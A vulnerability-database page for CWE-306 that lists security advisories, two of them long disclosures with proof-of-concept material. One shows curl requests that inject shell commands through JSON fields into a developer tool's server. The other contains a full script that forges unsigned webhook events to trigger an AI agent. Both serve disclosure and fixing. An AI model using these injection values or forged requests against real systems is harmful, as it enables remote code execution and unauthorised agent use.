Common Weakness Enumeration

CWE-306

Allowed

Missing Authentication for Critical Function

Abstraction: Base · Status: Draft

The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.

4625 vulnerabilities reference this CWE, most recent first.

GHSA-79WC-XMFC-9MC6

Vulnerability from github – Published: 2026-07-14 15:32 – Updated: 2026-07-14 15:32
VLAI
Details

A security issue exists within the 1715-AENTR EtherNet/IP Adapter. The affected product exposes a network-accessible debug port that does not enforce proper privilege controls, allowing unauthenticated remote access to intrusive command-line interface (CLI) commands. If exploited, a threat actor could read or delete files, stop tasks, modify memory, and change I/O states, potentially impacting the confidentiality, integrity, and availability of the device.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-10577"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-14T13:18:13Z",
    "severity": "CRITICAL"
  },
  "details": "A security issue exists within the 1715-AENTR EtherNet/IP Adapter. The affected product exposes a network-accessible debug port that does not enforce proper privilege controls, allowing unauthenticated remote access to intrusive command-line interface (CLI) commands. If exploited, a threat actor could read or delete files, stop tasks, modify memory, and change I/O states, potentially impacting the confidentiality, integrity, and availability of the device.",
  "id": "GHSA-79wc-xmfc-9mc6",
  "modified": "2026-07-14T15:32:15Z",
  "published": "2026-07-14T15:32:15Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10577"
    },
    {
      "type": "WEB",
      "url": "https://www.rockwellautomation.com/en-us/trust-center/security-advisories/advisory.SD1785.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-79WM-X847-7CVG

Vulnerability from github – Published: 2026-09-03 19:50 – Updated: 2026-09-03 19:50
VLAI
Summary
Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)
Details

Summary

npx claude-code-templates --studio launches "Claude Code Studio", an Express HTTP server (cli-tool/src/sandbox-server.js, default port 3444) that binds to all interfaces (0.0.0.0), sets Access-Control-Allow-Origin: *, and requires no authentication. Two POST endpoints pass attacker-controlled request-body fields into child_process.spawn(..., { shell: true }). Because shell: true makes Node join the argv array into a single sh -c string, the fields are parsed by the shell and metacharacters execute. Any unauthenticated attacker who can reach the port — a malicious web page the developer visits, or anyone on the same LAN — can execute arbitrary OS commands on the developer's machine.

Details

In cli-tool/src/sandbox-server.js:

  • app.listen(PORT, ...) is called with no host argument, so the server listens on 0.0.0.0 / :: (reachable from the LAN, not just localhost).
  • The CORS middleware sends Access-Control-Allow-Origin: * and answers the preflight OPTIONS for any origin, so a browser will deliver cross-origin POSTs to it.
  • There is no authentication on any endpoint.

The vulnerable sinks:

  1. POST /api/execute — the prompt body field flows into executeLocalTask(): ```js const child = spawn('claude', [finalPrompt], { / ... / shell: true }); The only validation on prompt is a length check (>= 10 chars). With shell: true, finalPrompt is interpreted by the shell.

  2. POST /api/install-agent — the agentName body field: const child = spawn('npx', ['claude-code-templates@latest', '--agent', agentName, '--yes'], { / ... / shell: true });

  3. agentName is used unvalidated. (The same unsafe pattern is also reachable through /api/execute's agent field via checkAndInstallAgent().)

Root cause: spawn(cmd, argsArray, { shell: true }) does not keep argsArray as separate argv entries — Node builds cmd + ' ' + argsArray.join(' ') and runs it via sh -c, so every element is subject to shell parsing.

PoC

Victim

npx claude-code-templates --studio # server on 0.0.0.0:3444

Attacker (another LAN host, or a malicious web page fetch(), or locally)

curl -s -X POST http://127.0.0.1:3444/api/execute \ -H 'Content-Type: application/json' \ --data '{"prompt":"aaaaaaaaaa; touch /tmp/CCT_RCE_PROOF","mode":"local"}'

curl -s -X POST http://127.0.0.1:3444/api/install-agent \ -H 'Content-Type: application/json' \ --data '{"agentName":"x; touch /tmp/CCT_AGENT_PROOF #"}'

ls -la /tmp/CCT_RCE_PROOF /tmp/CCT_AGENT_PROOF # both created => injected commands ran The aaaaaaaaaa padding satisfies the 10-char minimum, then ; (or $(...), or backticks) starts the injected command. claude/npx do not even need to be installed — the injected segment runs regardless.

Confirmed at runtime on v1.28.13 (Node 22, Linux): both marker files were created, the server listened on :3444, and an OPTIONS preflight from Origin: https://evil.example returned 200 with Access-Control-Allow-Origin: .

Impact

Unauthenticated remote code execution (CWE-78) on any machine running --studio. Two reachability paths: - Drive-by: a developer running --studio who visits an attacker-controlled web page — the page's cross-origin fetch() (Content-Type application/json) passes the wildcard CORS preflight and delivers the POST, achieving RCE with no other interaction. - LAN: because the server binds 0.0.0.0, anyone on the same network (office, co-working space, public Wi-Fi) can hit port 3444 directly.

Impact is full compromise of the developer's user account (arbitrary command execution with the developer's privileges): source code, SSH keys, cloud credentials, and .env secrets.

Suggested fix

  • Remove shell: true from all three spawns so arguments stay discrete argv entries (kills the injection).
  • Validate agentName against a strict allowlist (^[A-Za-z0-9._/-]+$).
  • Bind to loopback only (app.listen(PORT, '127.0.0.1', ...)).
  • Replace the wildcard CORS with a same-origin allowlist and reject other origins.
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.29.2"
      },
      "package": {
        "ecosystem": "npm",
        "name": "claude-code-templates"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.29.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-73222"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-352",
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-03T19:50:47Z",
    "nvd_published_at": "2026-08-11T19:18:51Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n`npx claude-code-templates --studio` launches \"Claude Code Studio\", an Express HTTP server (`cli-tool/src/sandbox-server.js`, default port 3444) that binds to **all interfaces** (`0.0.0.0`), sets `Access-Control-Allow-Origin: *`, and requires **no authentication**. Two POST endpoints pass attacker-controlled request-body fields into `child_process.spawn(..., { shell: true })`. Because `shell: true` makes Node join the argv array into a single `sh -c` string, the fields are parsed by the shell and metacharacters execute. Any unauthenticated attacker who can reach the port \u2014 a malicious web page the developer visits, or anyone on the same LAN \u2014 can execute arbitrary OS commands on the developer\u0027s machine.\n\n### Details\nIn `cli-tool/src/sandbox-server.js`:\n\n- `app.listen(PORT, ...)` is called with no host argument, so the server listens on `0.0.0.0` / `::` (reachable from the LAN, not just localhost).\n- The CORS middleware sends `Access-Control-Allow-Origin: *` and answers the preflight `OPTIONS` for any origin, so a browser will deliver cross-origin POSTs to it.\n- There is no authentication on any endpoint.\n\nThe vulnerable sinks:\n\n1. `POST /api/execute` \u2014 the `prompt` body field flows into `executeLocalTask()`:\n   ```js\n   const child = spawn(\u0027claude\u0027, [finalPrompt], { /* ... */ shell: true });\n   The only validation on prompt is a length check (\u003e= 10 chars). With shell: true, finalPrompt is interpreted by the shell.\n\n2. POST /api/install-agent \u2014 the agentName body field:\nconst child = spawn(\u0027npx\u0027, [\u0027claude-code-templates@latest\u0027, \u0027--agent\u0027, agentName, \u0027--yes\u0027], { /* ... */ shell: true });\n2. agentName is used unvalidated. (The same unsafe pattern is also reachable through /api/execute\u0027s agent field via checkAndInstallAgent().)\n\nRoot cause: spawn(cmd, argsArray, { shell: true }) does not keep argsArray as separate argv entries \u2014 Node builds cmd + \u0027 \u0027 + argsArray.join(\u0027 \u0027) and runs it via sh -c, so every element is subject to shell parsing.\n\nPoC\n\n# Victim\nnpx claude-code-templates --studio          # server on 0.0.0.0:3444\n\n# Attacker (another LAN host, or a malicious web page fetch(), or locally)\ncurl -s -X POST http://127.0.0.1:3444/api/execute \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"prompt\":\"aaaaaaaaaa; touch /tmp/CCT_RCE_PROOF\",\"mode\":\"local\"}\u0027\n\ncurl -s -X POST http://127.0.0.1:3444/api/install-agent \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  --data \u0027{\"agentName\":\"x; touch /tmp/CCT_AGENT_PROOF #\"}\u0027\n\nls -la /tmp/CCT_RCE_PROOF /tmp/CCT_AGENT_PROOF   # both created =\u003e injected commands ran\nThe aaaaaaaaaa padding satisfies the 10-char minimum, then ; (or $(...), or backticks) starts the injected command. claude/npx do not even need to be installed \u2014 the injected segment runs regardless.\n\nConfirmed at runtime on v1.28.13 (Node 22, Linux): both marker files were created, the server listened on *:3444, and an OPTIONS preflight from Origin: https://evil.example returned 200 with Access-Control-Allow-Origin: *.\n\nImpact\n\nUnauthenticated remote code execution (CWE-78) on any machine running --studio. Two reachability paths:\n- Drive-by: a developer running --studio who visits an attacker-controlled web page \u2014 the page\u0027s cross-origin fetch() (Content-Type application/json) passes the wildcard CORS preflight and delivers the POST, achieving RCE with no other interaction.\n- LAN: because the server binds 0.0.0.0, anyone on the same network (office, co-working space, public Wi-Fi) can hit port 3444 directly.\n\nImpact is full compromise of the developer\u0027s user account (arbitrary command execution with the developer\u0027s privileges): source code, SSH keys, cloud credentials, and .env secrets.\n\nSuggested fix\n\n- Remove shell: true from all three spawns so arguments stay discrete argv entries (kills the injection).\n- Validate agentName against a strict allowlist (^[A-Za-z0-9._/-]+$).\n- Bind to loopback only (app.listen(PORT, \u0027127.0.0.1\u0027, ...)).\n- Replace the wildcard CORS with a same-origin allowlist and reject other origins.",
  "id": "GHSA-79wm-x847-7cvg",
  "modified": "2026-09-03T19:50:47Z",
  "published": "2026-09-03T19:50:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/davila7/claude-code-templates/security/advisories/GHSA-79wm-x847-7cvg"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-73222"
    },
    {
      "type": "WEB",
      "url": "https://github.com/davila7/claude-code-templates/commit/bc4618b07232633c1c0aac12a43e436268d31783"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/davila7/claude-code-templates"
    },
    {
      "type": "WEB",
      "url": "https://github.com/davila7/claude-code-templates/blob/main/CHANGELOG.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Claude Code Templates: Unauthenticated OS command injection (RCE) in Claude Code Studio server (--studio)"
}

GHSA-7C8C-X5XP-8WGJ

Vulnerability from github – Published: 2024-08-22 12:30 – Updated: 2024-08-22 12:30
VLAI
Details

IBM OpenPages with Watson 8.3 and 9.0 could allow authenticated users access to sensitive information through improper authorization controls on APIs.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-35151"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-288",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-22T11:15:13Z",
    "severity": "MODERATE"
  },
  "details": "IBM OpenPages with Watson 8.3 and 9.0 could allow authenticated users access to sensitive information through improper authorization controls on APIs.",
  "id": "GHSA-7c8c-x5xp-8wgj",
  "modified": "2024-08-22T12:30:27Z",
  "published": "2024-08-22T12:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-35151"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/292638"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7165959"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7C8F-5R89-MJGX

Vulnerability from github – Published: 2022-05-24 17:37 – Updated: 2025-10-22 00:32
VLAI
Details

The SolarWinds Orion API is vulnerable to an authentication bypass that could allow a remote attacker to execute API commands. This vulnerability could allow a remote attacker to bypass authentication and execute API commands which may result in a compromise of the SolarWinds instance. SolarWinds Orion Platform versions 2019.4 HF 5, 2020.2 with no hotfix installed, and 2020.2 HF 1 are affected.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-10148"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-288",
      "CWE-306"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-12-29T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The SolarWinds Orion API is vulnerable to an authentication bypass that could allow a remote attacker to execute API commands. This vulnerability could allow a remote attacker to bypass authentication and execute API commands which may result in a compromise of the SolarWinds instance. SolarWinds Orion Platform versions 2019.4 HF 5, 2020.2 with no hotfix installed, and 2020.2 HF 1 are affected.",
  "id": "GHSA-7c8f-5r89-mjgx",
  "modified": "2025-10-22T00:32:01Z",
  "published": "2022-05-24T17:37:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-10148"
    },
    {
      "type": "WEB",
      "url": "https://kb.cert.org/vuls/id/843464"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-10148"
    },
    {
      "type": "WEB",
      "url": "https://www.kb.cert.org/vuls/id/843464"
    },
    {
      "type": "WEB",
      "url": "https://www.solarwinds.com/securityadvisory"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-7C92-X8VG-4258

Vulnerability from github – Published: 2026-10-07 14:07 – Updated: 2026-10-07 14:07
VLAI
Summary
PraisonAI: AgentMail webhook mode accepts forged unsigned message.received events and invokes agents
Details

AgentMail webhook mode accepts forged unsigned message.received events and invokes agents

Summary

praisonai AgentMail webhook mode exposes a public aiohttp webhook endpoint that accepts caller-controlled message.received JSON without verifying AgentMail's Svix webhook signatures, then dispatches the forged message into the configured agent session and reply path.

Technical Details

The affected boundary is webhook authenticity. AgentMail's webhook verification documentation says AgentMail delivers webhooks through Svix and includes svix-id, svix-timestamp, and svix-signature headers. Receivers are expected to verify the raw request body with the endpoint signing secret, commonly stored as AGENTMAIL_WEBHOOK_SECRET, before trusting the event body. AgentMail's documented verified payload examples route on event_type; the forged payload below intentionally uses PraisonAI's accepted handler shape, type plus data, because that is the shape _handle_email_webhook() accepts before any signature verification.

src/praisonai/praisonai/bots/agentmail.py exposes webhook mode through AgentMailBot(mode=...) or a BotConfig whose mode is webhook. In _start_webhook_mode(), PraisonAI registers POST {webhook_path} and binds the aiohttp site to 0.0.0.0 on the configured webhook port. When config.webhook_url is set, the same method calls client.webhooks.create(url=..., event_types=["message.received"], inbox_ids=...), but it does not store or use the returned webhook secret.

The handler then trusts the parsed JSON body. _handle_email_webhook() calls await request.json(), reads body.get("type", ""), and if the value is message.received, schedules _process_webhook_payload(body) and returns 200 OK. It does not read the raw body, inspect request headers, verify svix-id, verify svix-timestamp, verify svix-signature, or check any webhook secret before scheduling the event.

_process_webhook_payload() builds a BotMessage from attacker-controlled JSON fields: data.message_id, data.from/data.from_, data.subject, data.extracted_text/data.text, data.thread_id, and data.in_reply_to. It then calls _handle_message(message). _handle_message() fires message hooks, calls self._session.chat(self._agent, sender_id, body, ...), and, when the agent returns a response, attempts to reply to the attacker-controlled sender address through AgentMail.

This report is scoped to AgentMail webhook mode. It does not claim that the default polling path or WebSocket path is affected. The WebSocket path receives typed MessageReceivedEvent instances from the AgentMail SDK connection; the webhook path exposes a public HTTP receiver and therefore needs an independent signature check before parsing/trusting the event.

PoV

the PoV calls the webhook handler directly with fake request objects. It does not bind a port, contact AgentMail, send email, or use live credentials.

The forged JSON uses PraisonAI's accepted webhook-handler shape: a top-level type field with value message.received and a nested data object. This is not presented as the canonical signed AgentMail payload shape; AgentMail's verification documentation shows verified messages using event_type after Svix verification. The issue is that PraisonAI accepts the unauthenticated type/data body and dispatches it before verifying that the request came from AgentMail.

Essential PoV excerpt:

class FakeRequest:
    def __init__(self, body, headers=None, json_error=False):
        self._body = body
        self.headers = headers or {}
        self._json_error = json_error

    async def json(self):
        if self._json_error:
            raise ValueError("invalid json")
        return self._body

bot = AgentMailBot(
    token="am_local_test",
    agent=object(),
    inbox_id="assistant@example.test",
    config=BotConfig(mode="webhook", webhook_path="/webhook"),
)
bot._inbox_id = "assistant@example.test"
bot._email_address = "assistant@example.test"
bot._config = {}
bot._session = RecordingSession()

payload = {
    "type": "message.received",
    "data": {
        "message_id": "msg-forged-invalid-svix",
        "from": "attacker@example.test",
        "subject": "Forged invalid signature",
        "extracted_text": "invalid signature forged body",
    },
}
headers = {
    "svix-id": "msg_bad",
    "svix-timestamp": "1",
    "svix-signature": "v1,definitely-invalid",
}

response = await bot._handle_email_webhook(FakeRequest(payload, headers=headers))
await asyncio.sleep(0)

Expected vulnerable behavior: the response status is 200, the invalid Svix signature is ignored, and the fake session records one agent call with sender_id set to attacker@example.test and body set to invalid signature forged body.

PoC

Current head tested:

846568c7a5d8ce9e71e56e4c213f027c04909753

Run against a local checkout of current head:

python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI --label current-head-846568c

Decisive current-head output:

{
  "label": "current-head-846568c",
  "vulnerable": true,
  "cases": {
    "forged_unsigned_message": {
      "http_status": 200,
      "session_delta": 1,
      "send_delta": 1
    },
    "forged_invalid_svix_signature": {
      "http_status": 200,
      "session_delta": 1,
      "send_delta": 1
    },
    "invalid_json_control": {
      "http_status": 400,
      "session_delta": 0
    },
    "non_message_event_control": {
      "http_status": 200,
      "session_delta": 0
    },
    "duplicate_message_control": {
      "http_status": 200,
      "session_delta": 0
    }
  }
}

Run against the latest release tag observed during testing:

python3 pov_agentmail_webhook_forgery.py --repo /path/to/PraisonAI-v4.6.62 --label v4.6.62-2a855c47

Decisive v4.6.62 output:

{
  "label": "v4.6.62-2a855c47",
  "vulnerable": true,
  "cases": {
    "forged_unsigned_message": {
      "http_status": 200,
      "session_delta": 1,
      "send_delta": 1
    },
    "forged_invalid_svix_signature": {
      "http_status": 200,
      "session_delta": 1,
      "send_delta": 1
    },
    "invalid_json_control": {
      "http_status": 400,
      "session_delta": 0
    },
    "non_message_event_control": {
      "http_status": 200,
      "session_delta": 0
    },
    "duplicate_message_control": {
      "http_status": 200,
      "session_delta": 0
    }
  }
}

Interpretation: forged unsigned webhook JSON and forged webhook JSON with invalid Svix headers both return 200 and reach the agent session once. Invalid JSON returns 400 without an agent call, non-message.received events are ignored, and repeated message_id values are deduplicated. The controls prove the handler is executing the intended branch and that the issue is specifically missing webhook authenticity verification before the agent dispatch branch.

Impact

If a PraisonAI operator exposes AgentMail webhook mode, any network caller who can reach the webhook URL can spoof incoming AgentMail email events and invoke the configured PraisonAI agent as an arbitrary sender. The attacker controls the message id, sender address, subject, body text, and thread metadata consumed by the bot.

The concrete boundary crossed is unauthenticated remote agent invocation through forged AgentMail webhook events. Downstream impact depends on the deployed agent and tools. PraisonAI bot defaults can include model calls and safe auto-approved tools, so this can cause unauthorized model/API usage, forged workflow input, replies under the AgentMail inbox identity, and confidentiality or integrity impact when the configured agent has access to sensitive context or tools.

This report does not claim arbitrary code execution by default, compromise of AgentMail itself, or bypass of the default poll mode.

Suggested severity: High. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (8.6). Suggested CWEs: CWE-347 Improper Verification of Cryptographic Signature, CWE-306 Missing Authentication for Critical Function, and CWE-287 Improper Authentication.

Suggested Fix

Fail closed for AgentMail webhook mode unless a webhook signing secret is configured. Store the AgentMail webhook secret returned by client.webhooks.create(...), or require an explicit agentmail_webhook_secret/AGENTMAIL_WEBHOOK_SECRET configuration value for existing webhook endpoints.

Verify the raw request body with the official Svix verifier before JSON parsing is trusted. Reject missing, malformed, stale, or invalid svix-id, svix-timestamp, and svix-signature headers before scheduling _process_webhook_payload(). Do not use await request.json() as the verification input; signature verification needs the exact raw body bytes.

Suggested regression tests:

  • webhook mode without a configured signing secret refuses startup or returns 401/400 for message.received;
  • missing Svix headers do not call _process_webhook_payload();
  • invalid Svix signature does not call _process_webhook_payload();
  • stale timestamp does not call _process_webhook_payload();
  • valid Svix signature for the raw body reaches _process_webhook_payload();
  • duplicate message_id behavior remains intact after verification succeeds.

Affected Package/Versions

Affected package: pypi:praisonai.

Latest PyPI version observed during testing: 4.6.62. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected. Latest release tag v4.6.62 at commit 2a855c470077c7d2e2479a575f7ef7f548d51c33 is affected.

Sampled tag sweep:

v4.4.12   agentmail_absent
v4.5.16   agentmail_absent
v4.5.128  present_unsigned_webhook
v4.6.33   present_unsigned_webhook
v4.6.58   present_unsigned_webhook
v4.6.59   present_unsigned_webhook
v4.6.60   present_unsigned_webhook
v4.6.62   present_unsigned_webhook
current   present_unsigned_webhook

Conservative suggested affected range: AgentMail webhook-bearing praisonai releases at least >= 4.5.128, <= 4.6.62, plus current head. The component was absent in sampled tags v4.4.12 and v4.5.16. No fixed version or fix commit was observed.

Advisory History

Visible PraisonAI advisories were checked for the same root cause, affected entrypoint, and exploit preconditions. No exact duplicate was found for AgentMail webhook mode accepting unsigned or invalid-Svix message.received events and dispatching them into AgentMailBot._handle_message().

Nearby advisories are distinct:

  • GHSA-fc26-m9pf-v56q, "PraisonAI LinearBot processes unsigned webhooks when LINEAR_WEBHOOK_SECRET is missing", covers the Linear integration and a fail-open missing-secret condition. This report covers AgentMail webhook mode, a different integration, different handler, different provider signature scheme, and no visible webhook-secret validation path.
  • GHSA-x92v-rpx6-p6cw, "Webhook signature verification skipped (fail-open) when secret unset, allowing forged inbound webhooks (WhatsApp & Linear bots)", covers WhatsApp/Linear webhook verification fail-open behavior. This report covers AgentMail and Svix-backed AgentMail webhook delivery.
  • GHSA-qvpf-j64c-jmhr, "PraisonAI Slack app_mention bypasses configured user/channel authorization", covers Slack event authorization, not AgentMail webhook authenticity.
  • GHSA-vg22-4gmj-prxw / CVE-2026-47391 cover unauthenticated A2A message/send, not AgentMail webhooks.
  • GHSA-86qc-r5v2-v6x6 covers the call server token gap, not AgentMail webhook delivery.

Public Platform authorization advisories cover Platform RBAC/IDOR classes such as object ownership and workspace authorization. They do not cover AgentMail webhook authenticity or the AgentMail message.received dispatch path.

References

  • AgentMail webhook verification documentation: https://www.agentmail.to/docs/webhook-verification
  • AgentMail create webhook API reference: https://www.agentmail.to/docs/api-reference/webhooks/create
  • PraisonAI LinearBot webhook advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-fc26-m9pf-v56q
  • PraisonAI WhatsApp/Linear webhook fail-open advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x92v-rpx6-p6cw
  • PraisonAI Slack authorization advisory: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qvpf-j64c-jmhr
  • MITRE CWE-347: https://cwe.mitre.org/data/definitions/347.html
  • MITRE CWE-306: https://cwe.mitre.org/data/definitions/306.html
  • MITRE CWE-287: https://cwe.mitre.org/data/definitions/287.html

Appendix A - Full PoV Script

#!/usr/bin/env python3
"""PoV for PraisonAI AgentMail webhook authenticity.

The script calls the AgentMail webhook handler directly with fake aiohttp
requests. It does not bind a port, contact AgentMail, or send email.
"""

from __future__ import annotations

import argparse
import asyncio
import json
import sys
import types
from pathlib import Path
from typing import Any


class FakeResponse:
    def __init__(self, status: int = 200, text: str = "", content_type: str | None = None):
        self.status = status
        self.text = text
        self.content_type = content_type


class FakeRequest:
    def __init__(self, body: dict[str, Any] | None, headers: dict[str, str] | None = None, json_error: bool = False):
        self._body = body
        self.headers = headers or {}
        self._json_error = json_error

    async def json(self) -> dict[str, Any]:
        if self._json_error:
            raise ValueError("invalid json")
        return self._body or {}


class RecordingSession:
    def __init__(self) -> None:
        self.calls: list[dict[str, Any]] = []

    async def chat(self, agent: object, sender_id: str, body: str, **kwargs: Any) -> str:
        self.calls.append(
            {
                "sender_id": sender_id,
                "body": body,
                "chat_id": kwargs.get("chat_id"),
                "message_id": kwargs.get("message_id"),
                "account": kwargs.get("account"),
            }
        )
        return "local agent response"


def install_fake_aiohttp() -> None:
    web = types.SimpleNamespace(Response=FakeResponse)
    sys.modules["aiohttp"] = types.SimpleNamespace(web=web)


def configure_import_path(repo: Path) -> None:
    sys.path.insert(0, str(repo / "src" / "praisonai"))
    sys.path.insert(0, str(repo / "src" / "praisonai-agents"))


async def run_case(bot: Any, request: FakeRequest, sleep_ticks: int = 2) -> dict[str, Any]:
    before_calls = len(bot._session.calls)
    before_sends = len(bot._sent_messages)
    response = await bot._handle_email_webhook(request)
    for _ in range(sleep_ticks):
        await asyncio.sleep(0)
    return {
        "http_status": response.status,
        "session_delta": len(bot._session.calls) - before_calls,
        "send_delta": len(bot._sent_messages) - before_sends,
        "session_calls": bot._session.calls[before_calls:],
        "sent_messages": bot._sent_messages[before_sends:],
    }


async def main_async(repo: Path, label: str) -> dict[str, Any]:
    install_fake_aiohttp()
    configure_import_path(repo)

    from praisonai.bots.agentmail import AgentMailBot
    from praisonaiagents.bots import BotConfig

    bot = AgentMailBot(
        token="am_local_test",
        agent=object(),
        inbox_id="assistant@example.test",
        config=BotConfig(mode="webhook", webhook_path="/webhook"),
    )
    bot._inbox_id = "assistant@example.test"
    bot._email_address = "assistant@example.test"
    bot._config = {}
    bot._session = RecordingSession()
    bot._sent_messages = []

    async def fake_send_message(**kwargs: Any) -> None:
        bot._sent_messages.append(kwargs)

    bot.send_message = fake_send_message

    invalid_svix_headers = {
        "svix-id": "msg_bad",
        "svix-timestamp": "1",
        "svix-signature": "v1,definitely-invalid",
    }

    cases: dict[str, Any] = {}
    cases["forged_unsigned_message"] = await run_case(
        bot,
        FakeRequest(
            {
                "type": "message.received",
                "data": {
                    "message_id": "msg-forged-unsigned",
                    "from": "attacker@example.test",
                    "subject": "Forged unsigned message",
                    "extracted_text": "unsigned forged body",
                },
            }
        ),
    )
    cases["forged_invalid_svix_signature"] = await run_case(
        bot,
        FakeRequest(
            {
                "type": "message.received",
                "data": {
                    "message_id": "msg-forged-invalid-svix",
                    "from": "attacker@example.test",
                    "subject": "Forged invalid signature",
                    "extracted_text": "invalid signature forged body",
                },
            },
            headers=invalid_svix_headers,
        ),
    )
    cases["invalid_json_control"] = await run_case(bot, FakeRequest(None, json_error=True))
    cases["non_message_event_control"] = await run_case(
        bot,
        FakeRequest(
            {
                "type": "domain.verified",
                "data": {
                    "message_id": "msg-non-message",
                    "from": "attacker@example.test",
                    "extracted_text": "should not be processed",
                },
            }
        ),
    )
    cases["duplicate_message_control"] = await run_case(
        bot,
        FakeRequest(
            {
                "type": "message.received",
                "data": {
                    "message_id": "msg-forged-invalid-svix",
                    "from": "attacker@example.test",
                    "subject": "Duplicate",
                    "extracted_text": "duplicate should not create a second call",
                },
            },
            headers=invalid_svix_headers,
        ),
    )

    vulnerable = (
        cases["forged_unsigned_message"]["http_status"] == 200
        and cases["forged_unsigned_message"]["session_delta"] == 1
        and cases["forged_invalid_svix_signature"]["http_status"] == 200
        and cases["forged_invalid_svix_signature"]["session_delta"] == 1
        and cases["invalid_json_control"]["http_status"] == 400
        and cases["invalid_json_control"]["session_delta"] == 0
        and cases["non_message_event_control"]["session_delta"] == 0
        and cases["duplicate_message_control"]["session_delta"] == 0
    )

    return {
        "label": label,
        "repo": str(repo),
        "vulnerable": vulnerable,
        "finding": "AgentMail webhook handler accepts unsigned and invalid-Svix message.received events and dispatches them to the agent session",
        "cases": cases,
    }


def main() -> int:
    parser = argparse.ArgumentParser()
    parser.add_argument("--repo", type=Path, required=True)
    parser.add_argument("--label", default="current-head")
    args = parser.parse_args()
    result = asyncio.run(main_async(args.repo.resolve(), args.label))
    print(json.dumps(result, indent=2, sort_keys=True))
    return 0 if result["vulnerable"] else 1


if __name__ == "__main__":
    raise SystemExit(main())
Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.6.77"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.6.78"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61436"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287",
      "CWE-306",
      "CWE-347"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-07T14:07:10Z",
    "nvd_published_at": "2026-07-15T17:16:52Z",
    "severity": "HIGH"
  },
